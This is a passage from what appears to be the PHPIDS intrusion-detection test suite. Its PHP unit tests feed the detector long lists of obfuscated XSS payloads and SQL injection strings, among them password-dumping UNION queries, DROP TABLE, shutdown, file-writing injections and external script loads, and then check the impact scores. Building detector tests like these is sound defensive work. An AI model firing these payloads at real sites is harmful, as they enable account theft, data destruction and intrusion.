- $exploits[] = ";{z =(1)?\"\":a}{y =(1)?{y: 'eva'+z}:{y: 'l'+z.z}}x=''+z+{}+{}+{}; - {};; - {v =(0)?z:z}v={_$:z+'aler'+z}; - {k =(0)?z:z}k={_$$:v._$+'t(x)'+z}; - x=''+y.y+'l';{}; - - n=.1[x]; - n(k._$$)"; - $exploits[] = "ä=/ä/!=/ä/?'': 0;b=(ä+'eva'+ä);b=(b+'l'+ä);d=(ä+'XSS'+ä);c=(ä+'aler'+ä);c=(c+'t(d)'+ä);$=.0[b];a=$;a(c)"; - $exploits[] = 'x=/x/ - $x=!!1?\'ash\':xx - $x=!!1?\'ation.h\'+$x:xx - $x=!!1?\'loc\'+$x:xx - x.x=\'\'. eval, - x.x(x.x($x) - )'; - $exploits[] = 'a=/x/ - $b=!!1e1?\'ash\':a - $b=!!1e1?\'ion.h\'+$b:a - $b=!!1e1?\'locat\'+$b:a - $a=!1e1?!1e1:eval - a.a=$a - $b=a.a($b) - $b=a.a($b)'; - $exploits[] = 'y=name,null - $x=eval,null - $x(y)'; - $exploits[] = '$=\'e\' - ,x=$[$+\'val\'] - x(x(\'nam\'+$)+$)'; - $exploits[] = 'typeof~delete~typeof~alert(1)'; - $exploits[] = 'ªª=1&& name - ª=1&&window.eval,1 - ª(ªª)'; - $exploits[] = "y='nam' x=this.eval x(x(y ('e') new Array) y)"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(1135, $result->getImpact()); - } - - public function testConcatenatedXSSList2() { - - $exploits = array(); - $exploits[] = "ä=/ä/?'': 0;b=(ä+'eva'+ä);b=(b+'l'+ä);d=(ä+'XSS'+ä);c=(ä+'aler'+ä);c=(c+'t(d)'+ä);ä=.0[b];ä(c)"; - $exploits[] = "b = (x()); - $ = .0[b];a=$; - a( h() ); - function x () { return 'eva' + p(); }; - function p() { return 'l' ; }; - function h() { return 'aler' + i(); }; - function i() { return 't (123456)' ; };"; - $exploits[] = "s=function test2() {return 'aalert(1)a';1,1}(); - void(a = {} ); - a.a1=function xyz() {return s[1] }(); - a.a2=function xyz() {return s[2] }(); - a.a3=function xyz() {return s[3] }(); - a.a4=function xyz() {return s[4] }(); - a.a5=function xyz() {return s[5] }(); - a.a6=function xyz() {return s[6] }(); - a.a7=function xyz() {return s[7] }(); - a.a8=function xyz() {return s[8] }(); - $=function xyz() {return a.a1 + a.a2 + a.a3 +a.a4 +a.a5 + a.a6 + a.a7 - +a.a8 }(); - new Function($)();"; - $exploits[] = "x = localName.toLowerCase() + 'lert(1),' + 0x00;new Function(x)()"; - $exploits[] = "txt = java.lang.Character (49) ;rb = java.lang.Character (41) ;lb = - java.lang.Character (40) ;a = java./**/lang.Character (97) ;l = - java.lang.Character (108) ;e = java.// - lang.Character (101) ;r = - java.lang.Character (114) ;t = java . lang.Character (116) ; v = - java.lang.Character (118) ;f = as( ) ; function msg () { return lb+ - txt+ rb }; function as () { return a+ l+ e+ r+ t+ msg() }; function - ask () { return e+ v+ a+ l };g = ask ( ) ; (0[g])(f) "; - $exploits[] = "s=new String; - e = /aeavaala/+s; - e = new String + e[ 2 ] + e[ 4 ] + e[ 5 ] + e[ 7 ]; - a = /aablaecrdt(1)a/+s; - a = new String + a[ 2]+a[ 4 ] + a[ 6 ] + a[ 8 ] + a[ 10 ] + a[ 11 ] - + a[ 12 ] + a[ 13 ], - e=new Date() [e];"; - $exploits[] = '$a= !false?"ev":1 - $b= !false? "al":1 - $a= !false?$a+$b:1 - $a= !false?0[$a]:1 - $b= !false?"locat":1 - $c= !false?"ion.h":1 - $d= !false?"ash":1 - $b= !false?$b+$c+$d:1 - $a setter=$a,$a=$a=$b'; - $exploits[] = "$1 = /e1v1a1l/+'' - $2 = [] - $2 += $1[1] - $2 += $1[3] - $2 += $1[5] - $2 += $1[7] - $2 = $1[ $2 ] - $3 = /a1l1e1r1t1(1)1/+'' - $4 = [] - $4 += $3[1] - $4 += $3[3] - $4 += $3[5] - $4 += $3[7] - $4 += $3[9] - $4 += $3[11] - $4 += $3[12] - $4 += $3[13] - $2_ = $2 - $4_ = $4 - $2_ ( $4_ )"; - $exploits[] = 'x=![]?\'42\':0 - $a= !x?\'ev\':0 - $b= !x?\'al\':0 - $a= !x?$a+$b:0 - $a setter = !x?0[$a]:0 - $b= !x?\'locat\':0 - $c= !x?\'ion.h\':0 - $d= !x?\'ash\':0 - $b= !x?$b+$c+$d:0 - $msg= !x?\'i love ternary operators\':0 - $a=$a=$b'; - $exploits[] = "123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);"; - $exploits[] = '$_ = !1-1 ? 0["\ev\al""]("\a\l\ert\(1\)"") : 0'; - $exploits[] = "$$$[0] = !1-1 ? 'eva' : 0 - - $$$[1] = !1-1 ? 'l' : 0 - - $$$['\jo\in']([])"; - $exploits[] = 'x=/eva/i[-1] - $y=/nam/i[-1] - $x$_0=(0)[x+\'l\'] - $x=$x$_0($y+\'e\') - $x$_0($x)'; - $exploits[] = '$y=("eva") - $z={}[$y+"l"] - $y=("aler") - $y+=(/t(1)/)[-1] - $z($y)'; - $exploits[] = '[$y=("al")]&&[$z=$y]&&[$z+=("ert")+[]][DocDan=(/ev/)[-1]+$y]($z).valueOf()(1)'; - $exploits[] = '[$y=(\'al\')]&[$z=$y \'ert\'][a=(1?/ev/:0)[-1] $y]($z)(1)'; - $exploits[] = "0[('ev')+status+(z=('al'),z)](z+'ert(0),'+/x/)"; - $exploits[] = "0[('ev')+(n='')+(z=('al'),z)](z+'ert(0),'+/x/)"; - $exploits[] = "$={}.eval,$($('na'+navigator.vendor+('me,')+/x/))"; - $exploits[] = "ale‌rt(1)"; - $exploits[] = "ale‍rt(1)"; - $exploits[] = "ale‎rt(1)"; - $exploits[] = 'al�ert(1)'; - $exploits[] = 'al�ert(1)'; - $exploits[] = '1[<t>__par{new Array}ent__</t>][<t>al{new Array}ert</t>](1) '; - $exploits[] = '(new Option).style.setExpression(1,1&&name)'; - $exploits[] = 'default xml namespace=toolbar,b=1&&this.atob - default xml namespace=toolbar,e2=b(\'ZXZhbA\') - default xml namespace=toolbar,e=this[toolbar,e2] - default xml namespace=toolbar,y=1&&name - default xml namespace=toolbar - default xml namespace=e(y)'; - $exploits[] = '-Infinity++in eval(1&&name)'; - $exploits[] = 'new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, - x=(\'e\') - x=(\'nam\')+(new Array)+x - y=(\'val\') - y=(\'e\')+(new Array)+y - z=this - z=z[y] - z(z(x)+x)'; - $exploits[] = 'undefined,undefined - undefined,undefined - undefined,undefined - undefined,undefined - x=(\'aler\ - t\') - undefined,undefined - undefined,undefined - undefined,undefined - undefined,undefined - this [x] - (1) - undefined,undefined - undefined,undefined - undefined,undefined - undefined,undefined'; - $exploits[] = 'location.assign(1?name+1:(x))'; - $exploits[] = "this[('eva')+new Array + 'l'](/x.x.x/+name+/x.x/)"; - $exploits[] = "this[[],('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+name,new Array)"; - $exploits[] = 'alal=(/YWxlcnQ/)(/YWxlcnQ/), - alal=alal[0], - atyujg=(/atob/)(/atob/), - con=atyujg.concat, - con1=con()[0], - con=con1[atyujg], - alal=con(alal), - alal=con1[alal], - alal(1)'; - $exploits[] = 'alal=(1,/YWxlcnQ/), - alal=alal(alal), - alal=alal[0], - atyujg=(1,/atob/), - atyujg=atyujg(atyujg), - atat=atyujg[0], - con=atyujg.concat, - con1=con(), - con1=con1[0], - con=con1[atat], - alal=con(alal), - alal=con1[alal], - alal(1)'; - $exploits[] = 'showmodaldialog((/javascript/({a:/javascript/,b:1}.a))+(/:aler/({a:/:aler/,b:1}.a))+(/t.1.+1/({a:/t(1)+1/,b:1}.a)));'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(995, $result->getImpact()); - } - - public function testXMLPredicateXSSList() { - - $exploits = array(); - $exploits[] = "a=<r>loca<v>e</v>tion.has<v>va</v>h.subs<v>l</v>tr(1)</r> - {b=0e0[a.v.text() - ]}http='';b(b(http+a.text() - )) - "; - $exploits[] = 'y=<a>alert</a>;content[y](123)'; - $exploits[] = "s1=<s>evalalerta(1)a</s>; s2=<s></s>+''; s3=s1+s2; e1=/s1/?s3[0]:s1; e2=/s1/?s3[1]:s1; e3=/s1/?s3[2]:s1; e4=/s1/?s3[3]:s1; e=/s1/?.0[e1+e2+e3+e4]:s1; a1=/s1/?s3[4]:s1; a2=/s1/?s3[5]:s1; a3=/s1/?s3[6]:s1; a4=/s1/?s3[7]:s1; a5=/s1/?s3[8]:s1; a6=/s1/?s3[10]:s1; a7=/s1/?s3[11]:s1; a8=/s1/?s3[12]:s1; a=a1+a2+a3+a4+a5+a6+a7+a8;e(a)"; - $exploits[] = "location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>"; - $exploits[] = "µ=<µ Å‚='le' µ='a' ø='rt'></µ>,top[µ.@µ+µ.@Å‚+µ.@ø](1)"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(157, $result->getImpact()); - } - - public function testConditionalCompilationXSSList() { - - $exploits = array(); - $exploits[] = "/*@cc_on@set@x=88@set@ss=83@set@s=83@*/@cc_on alert(String.fromCharCode(@x,@s,@ss))"; - $exploits[] = "@cc_on eval(@cc_on name)"; - $exploits[] = "@if(@_mc680x0)@else alert(@_jscript_version)@end"; - $exploits[] = "\"\"@cc_on,x=@cc_on'something'@cc_on"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(87, $result->getImpact()); - } - - public function testXSSList() { - - $exploits = array(); - $exploits[] = '\'\'"--><script>eval(String.fromCharCode(88,83,83)));%00'; - $exploits[] = '"></a style="xss:ex/**/pression(alert(1));"'; - $exploits[] = 'top.__proto__._= alert - _(1)'; - $exploits[] = 'document.__parent__._=alert - _(1)'; - $exploits[] = 'alert(1)'; - $exploits[] = "b=/a/, - d=alert - d("; - $exploits[] = "1 - alert(1)"; - $exploits[] = "crypto [ [ 'aler' , 't' ] [ 'join' ] ( [] ) ] (1) "; - $exploits[] = "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)>"; - $exploits[] = "_content/alert(1)"; - $exploits[] = "RegExp(/a/,alert(1))"; - $exploits[] = "x=[/&/,alert,/&/][1],x(1)"; - $exploits[] = "[1,alert,1][1](1)"; - $exploits[] = "throw alert(1)"; - $exploits[] = "delete alert(1)"; - $exploits[] = "$=.7.eval,$(// - name - ,1)"; - $exploits[] = "$=.7.eval,$($('\rname'),1)"; - $exploits[] = "e=1..eval - e(e(\"\u200fname\"),e)"; - $exploits[] = "<x///style=-moz-\͢inding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)>"; - $exploits[] = "a//a'\u000aeval(name)"; - $exploits[] = "a//a';eval(name)"; - $exploits[] = "(x) setter=0?0.:alert,x=0"; - $exploits[] = "y=('na') + new Array +'me' - y - (x)getter=0?0+0:eval,x=y - 'foo bar foo bar f'"; - $exploits[] = "'foo bar foo bar foo bar foo bar foo bar foo bar foo bar foo' - y$=('na') +new Array+'me' - x$=('ev') +new Array+'al' - x$=0[x$] - x$(x$(y$)+y$)"; - $exploits[] = "<applet/src=http://businessinfo.co.uk/labs/xss.html - type=text/html>"; - $exploits[] = "onabort=onblur=onchange=onclick=ondblclick=onerror=onfocus=onkeydown=onkeypress=onkeyup=onload=onmousedown=onmousemove=onmouseout=onmouseover=onmouseup=onreset=onresize=onselect=onsubmit=onunload=alert"; - $exploits[] = 'onload=1&&alert'; - $exploits[] = "document.createStyleSheet('http://businessinfo.co.uk/labs/xss/xss.css')"; - $exploits[] = "document.body.style.cssText=name"; - $exploits[] = "for(i=0;;)i"; - $exploits[] = "stop.sdfgkldfsgsdfgsdfgdsfg in alert(1)"; - $exploits[] = "this .fdgsdfgsdfgdsfgdsfg - this .fdgsdfgsdfgdsfgdsfg - this .fdgsdfgsdfgdsfgdsfg - this .fdgsdfgsdfgdsfgdsfg - this .fdgsdfgsdfgdsfgdsfg - aaaaaaaaaaaaaaaa :-(alert||foo)(1)||foo"; - $exploits[] = "(this)[new Array+('eva')+new Array+ 'l'](/foo.bar/+name+/foo.bar/)"; - $exploits[] = '<video/title=.10000/alert(1) onload=.1/setTimeout(title)>'; - $exploits[] = "const urchinTracker = open"; - $exploits[] = "-setTimeout( - 1E1+ - ',aler\ - t ( /phpids rocks/ ) + 1E100000 ' )"; - $exploits[] = '<b/alt="1"onmouseover=InputBox+1 language=vbs>test</b>'; - $exploits[] = '$$=\'e\' - _=$$+\'val\' - $=_ - x=this[$] - y=x(\'nam\' + $$) - x(y) - \'foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar\''; - $exploits[] = '<script>alert("xss")</script>'; - $exploits[] = '‹img/src=x""onerror=alert(1)///›'; - $exploits[] = 'Image() . - ownerDocument .x=1'; - $exploits[] = urldecode('%FF%F0%80%BCimg%20src=x%20onerror=alert(1)//'); - $exploits[] = "',jQuery(\"body\").html(//);\'a'"; - $exploits[] = '\',$(fred).set(\'html\',\'magically changes\') - \'s'; - $exploits[] = "',YAHOO.util.Get.script(\"http://ha.ckers.org/xss.js\") - 's"; - $exploits[] = 'lo=/,Batman/,alert(\'Batman flew here\')'; - $exploits[] = '<img src=xonerror=alert(1)>'; - $exploits[] = "for(lo in{j:this}.j)!/ale.t/(lo)||this[{},lo](+!'')"; - $exploits[] = 't="t (1),0 ", - x2 = (1, {x2:02.constructor,a:0}.x2), - xyz = (1, {xyz:x2.constructor,a:0}.xyz), - xyz("aler" + t)()'; - $exploits[] = 'xzy={x :this}.x.alert - xzy(1)'; - $exploits[] = 'xyz=Iterator([this]).next() - zyx=xyz[1].alert - zyx(1)'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(965, $result->getImpact()); - } - - public function testSelfContainedXSSList() { - - $exploits = array(); - $exploits[] = 'a=0||\'ev\'+\'al\',b=0||1[a](\'loca\'+\'tion.hash\'),c=0||\'sub\'+\'str\',1[a](b[c](1));'; - $exploits[] = 'eval.call(this,unescape.call(this,location))'; - $exploits[] = 'd=0||\'une\'+\'scape\'||0;a=0||\'ev\'+\'al\'||0;b=0||\'locatio\';b+=0||\'n\'||0;c=b[a];d=c(d);c(d(c(b)))'; - $exploits[] = '_=eval,__=unescape,___=document.URL,_(__(___))'; - $exploits[] = '$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))'; - $exploits[] = '$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)'; - $exploits[] = 'ev\al.call(this,unescape.call(this,location))'; - $exploits[] = 'setTimeout// - (name// - ,0)//'; - $exploits[] = 'a=/ev/ - .source - a+=/al/ - .source,a = a[a] - a(name)'; - $exploits[] = 'a=eval,b=(name);a(b)'; - $exploits[] = 'a=eval,b= [ referrer ] ;a(b)'; - $exploits[] = "URL = ! isNaN(1) ? 'javascriptz:zalertz(1)z' [/replace/ [ 'source' ] ] - (/z/g, [] ) : 0"; - $exploits[] = "if(0){} else eval(new Array + ('eva') + new Array + ('l(n') + new Array + ('ame) + new Array') + new Array) - 'foo bar foo bar foo'"; - $exploits[] = "switch('foo bar foo bar foo bar') {case eval(new Array + ('eva') + new Array + ('l(n') + new Array + ('ame) + new Array') + new Array):}"; - $exploits[] = "xxx='javascr',xxx+=('ipt:eva'),xxx+=('l(n'),xxx+=('ame),y') - Cen:tri:fug:eBy:pas:sTe:xt:do location=(xxx) - while(0) - "; - $exploits[] = '-parent(1)'; - $exploits[] = "//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf//asdf@asdf.asdf - (new Option)['innerHTML']=opener.name"; - $exploits[] = '+a - >>setTimeout(a(1).a+a(1).b+a(1).c,1000); - \'1\';"1"="1";a="1\"\n<a name=a a=con b=fi c=rm(120) >1<<1\\\'1\'1\"1";'; - $exploits[] = '+a - >>showHelp(a(0).a+a(0).nodeName+a(0).b+a(0).c+a(0).nodeName.toLowerCase()+a(0).d+a(0).e); - \'1\';"1"="1";a="1\"\n<t id=a a=javascrip b=:confi c=rm(documen d=.coo e=kie) >1<<1\\\'1\'1\"1";'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(578, $result->getImpact()); - } - - public function testSQLIList() { - - $exploits = array(); - $exploits[] = '" OR 1=1#'; - $exploits[] = '; DROP table Users --'; - $exploits[] = '/**/S/**/E/**/L/**/E/**/C/**/T * FROM users WHERE 1 = 1'; - $exploits[] = 'admin\'--'; - $exploits[] = 'SELECT /*!32302 1/0, */ 1 FROM tablename'; - $exploits[] = '10;DROP members --'; - $exploits[] = ' SELECT IF(1=1,\'true\',\'false\')'; - $exploits[] = 'SELECT CHAR(0x66)'; - $exploits[] = 'SELECT LOAD_FILE(0x633A5C626F6F742E696E69)'; - $exploits[] = 'EXEC(@stored_proc @param)'; - $exploits[] = 'chr(11)||chr(12)||char(13)'; - $exploits[] = 'MERGE INTO bonuses B USING (SELECT'; - $exploits[] = '1 or name like \'%\''; - $exploits[] = '1 OR \'1\'!=0'; - $exploits[] = '1 OR ASCII(2) = ASCII(2)'; - $exploits[] = '1\' OR 1&"1'; - $exploits[] = '1\' OR \'1\' XOR \'0'; - $exploits[] = '1 OR+1=1'; - $exploits[] = '1 OR+(1)=(1)'; - $exploits[] = '1 OR \'1'; - $exploits[] = 'aaa\' or (1)=(1) #!asd'; - $exploits[] = 'aaa\' OR (1) IS NOT NULL #!asd'; - $exploits[] = 'a\' or 1=\'1'; - $exploits[] = 'asd\' union (select username,password from admins) where id=\'1'; - $exploits[] = "1'; WAITFOR TIME '17:48:00 ' shutdown -- -a"; - $exploits[] = "1'; anything: goto anything -- -a"; - $exploits[] = "' =+ '"; - $exploits[] = "asd' =- (-'asd') -- -a"; - $exploits[] = 'aa"in+ ("aa") or -1 != "0'; - $exploits[] = 'aa" =+ - "0 '; - $exploits[] = "aa' LIKE 0 -- -a"; - $exploits[] = "aa' LIKE md5(1) or '1"; - $exploits[] = "aa' REGEXP- md5(1) or '1"; - $exploits[] = "aa' DIV@1 = 0 or '1"; - $exploits[] = "aa' XOR- column != -'0"; - $exploits[] = '============================="'; - $exploits[] = 'union select password from users where 1'; - $exploits[] = "str'=version() - UNION# - # - # - # - SELECT group_concat(table_name)# - ## - /*!FROM*/ information_schema.tables WHERE '1"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(535, $result->getImpact()); - } - - public function testSQLIList2() { - - $exploits = array(); - $exploits[] = 'asd"or-1="-1'; - $exploits[] = 'asd"or!1="!1'; - $exploits[] = 'asd"or!(1)="1'; - $exploits[] = 'asd"or@1="@1'; - $exploits[] = 'asd"or-1 XOR"0'; - $exploits[] = 'asd" or ascii(1)="49'; - $exploits[] = 'asd" or md5(1)^"1'; - $exploits[] = 'asd" or table.column^"1'; - $exploits[] = 'asd" or @@version^"0'; - $exploits[] = 'asd" or @@global.hot_cache.key_buffer_size^"1'; - $exploits[] = 'asd" or!(selec79t name from users limit 1)="1'; - $exploits[] = '1"OR!"a'; - $exploits[] = '1"OR!"0'; - $exploits[] = '1"OR-"1'; - $exploits[] = '1"OR@"1" IS NULL #1 ! (with unfiltered comment by tx ;)'; - $exploits[] = '1"OR!(false) #1 !'; - $exploits[] = '1"OR-(true) #a !'; - $exploits[] = '1" INTO OUTFILE "C:/webserver/www/readme.php'; - $exploits[] = "asd' or md5(5)^'1 "; - $exploits[] = "asd' or column^'-1 "; - $exploits[] = "asd' or true -- a"; - $exploits[] = '\"asd" or 1="1'; - $exploits[] = "a 1' or if(-1=-1,true,false)#!"; - $exploits[] = "aa\\\\\"aaa' or '1"; - $exploits[] = "' or id= 1 having 1 #1 !"; - $exploits[] = "' or id= 2-1 having 1 #1 !"; - $exploits[] = "aa'or null is null #("; - $exploits[] = "aa'or current_user!=' 1"; - $exploits[] = "aa'or BINARY 1= '1"; - $exploits[] = "aa'or LOCALTIME!='0"; - $exploits[] = "aa'like-'aa"; - $exploits[] = "aa'is\N|!'"; - $exploits[] = "'is\N-!'"; - $exploits[] = "asd'|column&&'1"; - $exploits[] = "asd'|column!='"; - $exploits[] = "aa'or column=column -- #aa"; - $exploits[] = "aa'or column*column!='0"; - $exploits[] = "aa'or column like column -- #a"; - $exploits[] = "0'*column is \N - '1"; - $exploits[] = "1'*column is \N or '1"; - $exploits[] = "1'*@a is \N - '"; - $exploits[] = "1'*@a is \N or '1"; - $exploits[] = "1' -1 or+1= '+1 "; - $exploits[] = "1' -1 - column or '1 "; - $exploits[] = "1' -1 or '1"; - $exploits[] = ' (1)or(1)=(1) '; - $exploits[] = "fo\"o'or'1"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(691, $result->getImpact()); - } - - public function testSQLIList3() { - - $exploits = array(); - $exploits[] = "' OR UserID IS NOT 2"; - $exploits[] = "' OR UserID IS NOT NULL"; - $exploits[] = "' OR UserID > 1"; - $exploits[] = "' OR UserID RLIKE '.+' "; - $exploits[] = "'OR UserID <> 2"; - $exploits[] = "1' union (select password from users) -- -a"; - $exploits[] = "1' union (select'1','2',password from users) -- -a"; - $exploits[] = "1' union all (select'1',password from users) -- -a"; - $exploits[] = "aa'!='1"; - $exploits[] = "aa'!=~'1"; - $exploits[] = "aa'=('aa')#("; - $exploits[] = "aa'|+'1"; - $exploits[] = "aa'|!'aa"; - $exploits[] = "aa'^!'aa "; - $exploits[] = "abc' = !!'0"; - $exploits[] = "abc' = !!!!'0"; - $exploits[] = "abc' = !!!!!!!!!!!!!!'0"; - $exploits[] = "abc' = !0 = !!'0"; - $exploits[] = "abc' = !0 != !!!'0"; - $exploits[] = "abc' = !+0 != !'0 "; - $exploits[] = "aa'=+'1"; - $exploits[] = "';if 1=1 drop database test-- -a"; - $exploits[] = "';if 1=1 drop table users-- -a"; - $exploits[] = "';if 1=1 shutdown-- -a"; - $exploits[] = "'; while 1=1 shutdown-- -a"; - $exploits[] = "'; begin shutdown end-- -a "; - $exploits[] = "'+COALESCE('admin') and 1 = !1 div 1+'"; - $exploits[] = "'+COALESCE('admin') and @@version = !1 div 1+'"; - $exploits[] = "'+COALESCE('admin') and @@version = !@@version div @@version+'"; - $exploits[] = "'+COALESCE('admin') and 1 =+1 = !true div @@version+'"; - $exploits[] = "foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0"; - $exploits[] = '1-#canvas - (SELECT 1*1 from(information_schema.tables) group by table_name having - left(hex(table_name),true) = -7)'; - $exploits[] = 'str#\' UNION SELECT group_concat(table_name) - FROM`information_schema`.tables'; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(689, $result->getImpact()); - } - - public function testSQLIList4() { - - $exploits = array(); - - $exploits[] = "aa'in (0)#("; - $exploits[] = "aa'!=ascii(1)#("; - $exploits[] = "' or SOUNDEX (1) != '0"; - $exploits[] = "aa'RLIKE BINARY 0#("; - $exploits[] = "aa'or column!='1"; - $exploits[] = "aa'or column DIV 0 =0 #"; - $exploits[] = "aa'or column+(1)='1"; - $exploits[] = "aa'or 0!='0"; - $exploits[] = "aa'LIKE'0"; - $exploits[] = "aa'or id ='\\'"; - $exploits[] = "1';declare @# int;shutdown;set @# = '1"; - $exploits[] = "1';declare @@ int;shutdown;set @@ = '1"; - $exploits[] = "asd' or column&&'1"; - $exploits[] = "asd' or column= !1 and+1='1"; - $exploits[] = "aa'!=ascii(1) or-1=-'1"; - $exploits[] = "a'IS NOT NULL or+1=+'1"; - $exploits[] = "aa'in('aa') or-1!='0"; - $exploits[] = "aa' or column=+!1 #1"; - $exploits[] = "aa' SOUNDS like+'1"; - $exploits[] = "aa' REGEXP+'0"; - $exploits[] = "aa' like+'0"; - $exploits[] = "-1'=-'+1"; - $exploits[] = "'=+'"; - $exploits[] = "aa' or stringcolumn= +!1 #1 "; - $exploits[] = "aa' or anycolumn ^ -'1"; - $exploits[] = "aa' or intcolumn && '1"; - $exploits[] = "asd' or column&&'1"; - $exploits[] = "asd' or column= !1 and+1='1"; - $exploits[] = "aa' or column=+!1 #1"; - $exploits[] = "aa'IS NOT NULL or+1^+'0"; - $exploits[] = "aa'IS NOT NULL or +1-1 xor'0"; - $exploits[] = "aa'IS NOT NULL or+2-1-1-1 !='0"; - $exploits[] = "aa'|1+1=(2)Or(1)='1"; - $exploits[] = "aa'|3!='4"; - $exploits[] = "aa'|ascii(1)+1!='1"; - $exploits[] = "aa'|LOCALTIME*0!='1 "; - $exploits[] = "asd' |1 != (1)#aa"; - $exploits[] = "' is 99999 = '"; - $exploits[] = "' is 0.00000000000 = '"; - $exploits[] = "1'*column-0-'0"; - $exploits[] = "1'-@a or'1"; - $exploits[] = "a'-@a=@a or'1"; - $exploits[] = "aa' *@var or 1 SOUNDS LIKE (1)|'1"; - $exploits[] = "aa' *@var or 1 RLIKE (1)|'1 "; - $exploits[] = "a' or~column like ~1|'1"; - $exploits[] = "'<~'"; - $exploits[] = "a'-1.and '1"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(879, $result->getImpact()); - } - - public function testSQLIList5() { - - $exploits = array(); - - $exploits[] = "aa'/1 DIV 1 or+1=+'1 "; - $exploits[] = "aa'&0+1='aa"; - $exploits[] = "aa' like(0) + 1-- -a "; - $exploits[] = "aa'^0+0='0"; - $exploits[] = "aa'^0+0+1-1=(0)-- -a"; - $exploits[] = "aa'<3+1 or+1=+'1"; - $exploits[] = "aa'%1+0='0"; - $exploits[] = "'/1/1='"; - $exploits[] = " aa'/1 or '1"; - $exploits[] = " aa1' * @a or '1 '/1 regexp '0"; - $exploits[] = " ' / 1 / 1 ='"; - $exploits[] = " '/1='"; - $exploits[] = " aa'&0+1 = 'aa"; - $exploits[] = " aa'&+1='aa"; - $exploits[] = " aa'&(1)='aa"; - $exploits[] = " aa'^0+0 = '0"; - $exploits[] = " aa'^0+0+1-1 = (0)-- -a"; - $exploits[] = " aa'^+-3 or'1"; - $exploits[] = " aa'^0!='1"; - $exploits[] = " aa'^(0)='0"; - $exploits[] = " aa' < (3) or '1"; - $exploits[] = " aa' <<3 or'1"; - $exploits[] = " aa'-+!1 or '1"; - $exploits[] = " aa'-!1 like'0"; - $exploits[] = " aa' % 1 or '1"; - $exploits[] = " aa' / '1' < '3"; - $exploits[] = " aa' / +1 < '3"; - $exploits[] = " aa' - + ! 2 != + - '1"; - $exploits[] = " aa' - + ! 1 or '1"; - $exploits[] = " aa' / +1 like '0"; - $exploits[] = " ' / + (1) / + (1) ='"; - $exploits[] = " aa' & +(0)-(1)='aa"; - $exploits[] = " aa' ^+ -(0) + -(0) = '0"; - $exploits[] = " aa' ^ + - 3 or '1"; - $exploits[] = " aa' ^ +0!='1"; - $exploits[] = " aa' < +3 or '1"; - $exploits[] = " aa' % +1 or '1"; - $exploits[] = "aa'or column*0 like'0"; - $exploits[] = "aa'or column*0='0"; - $exploits[] = "aa'or current_date*0"; - $exploits[] = "1'/column is not null - ' "; - $exploits[] = "1'*column is not \N - ' "; - $exploits[] = "1'^column is not null - ' "; - $exploits[] = "aa' is 0 or '1"; - $exploits[] = "' or MATCH username AGAINST ('+admin -a' IN BOOLEAN MODE); -- -a"; - $exploits[] = "' or MATCH username AGAINST ('a* -) -+ ' IN BOOLEAN MODE); -- -a"; - $exploits[] = "1'*@a or '1"; - $exploits[] = "1'*null or '1"; - $exploits[] = "1'*UTC_TIME or '1"; - $exploits[] = "1'*null is null - '"; - $exploits[] = "1'*@a is null - '"; - $exploits[] = "1'*@@version*-0%20=%20'0"; - $exploits[] = "1'*current_date rlike'0"; - $exploits[] = "aa'/current_date in (0) -- -a"; - $exploits[] = "aa' / current_date regexp '0"; - $exploits[] = "aa' / current_date != '1"; - $exploits[] = "1' or current_date*-0 rlike'1"; - $exploits[] = "0' / current_date XOR '1"; - $exploits[] = "'or not false #aa"; - $exploits[] = "1' * id - '0"; - $exploits[] = "1' *id-'0"; - - $this->_testForPlainEvent($exploits); - - $test = new IDS_Monitor( - $exploits, - $this->init - ); - $result = $test->run(); - $this->assertEquals(891, $result->getImpact()); - } - - public function testSQLIList6() { - - $exploits = array(); - - $exploits[] = "asd'; shutdown; "; - $exploits[] = "asd'; select null,password,null from users; "; - $exploits[] = "aa aa'; DECLARE tablecursor CURSOR FOR select a.name as c,b.name as d,(null)from sysobjects a,syscolumns b where a.id=b.id and a.xtype = ( 'u' ) and current_user = current_user OPEN tablecursor "; - $exploits[] = "aa aa'; DECLARE tablecursor CURSOR FOR select a.name as c,b.name as d,(null)from sysobjects a,syscolumns b - where a.id=b.id and a.xtype = ( 'u' ) and current_user = current_user - OPEN tablecursor FETCH NEXT FROM tablecursor INTO @a,@b WHILE(@a != null) - @query = 